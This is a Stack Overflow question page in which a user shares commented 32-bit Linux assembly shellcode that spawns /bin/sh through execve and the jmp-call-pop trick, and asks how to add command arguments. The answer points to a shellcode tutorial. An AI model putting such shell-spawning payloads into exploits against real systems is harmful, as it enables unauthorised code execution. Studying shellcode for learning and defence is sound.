Adding arguments to shellcode spawning a shell

Question

I have some basic shellcode:

 BITS 32

jmp short       callit            ; jmp trick as explained above

doit:

pop             esi               ; esi now represents the location of our string
xor             eax, eax          ; make eax 0
mov byte        [esi + 7], al     ; terminate /bin/sh 
lea             ebx, [esi]        ; get the adress of /bin/sh and put it in register ebx 
mov long        [esi + 8], ebx    ; put the value of ebx (the address of /bin/sh) in AAAA ([esi +8]) 
mov long        [esi + 12], eax   ; put NULL in BBBB (remember xor eax, eax) 
mov byte        al, 0x0b          ; Execution time! we use syscall 0x0b which represents execve
mov             ebx, esi          ; argument one... ratatata /bin/sh
lea             ecx, [esi + 8]    ; argument two... ratatata our pointer to /bin/sh
lea             edx, [esi + 12]   ; argument three... ratataa our pointer to NULL
int             0x80

callit:
call            doit              ; part of the jmp trick to get the location of db

db              '/bin/sh#AAAABBBB'

But lets say I want to add some command as arguments for the shell. So for example to make a new file I'd do something like /bin/sh -c 'touch "filepath" But I'm kinda stuck at how I change my shellcode to do this.

Thanks, Seba

First learn assembly before starting to write shellcode?

DipSwitch
– DipSwitch

2011-12-13 10:08:15 +00:00
Commented Dec 13, 2011 at 10:08 — DipSwitch
– DipSwitch, Commented Dec 13, 2011 at 10:08

DipSwitch · Accepted Answer · 2011-12-13 10:11:04Z

1

This comes from the tutorial http://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html the question you are asking is explained in section The execve example number III (2 > arguments, linux):

answered Dec 13, 2011 at 10:11

DipSwitch

5,6482 gold badges22 silver badges25 bronze badges

Sign up to request clarification or add additional context in comments.

1 Comment

DipSwitch Over a year ago

btw. pushing the string to the stack is way easier then jump call pop :p

Collectives™ on Stack Overflow

Adding arguments to shellcode spawning a shell

1 Answer 1

1 Comment

Your Answer

Hot Network Questions

Collectives™ on Stack Overflow

1 Answer 1

1 Comment

Your Answer

Sign up or log in

Post as a guest

Related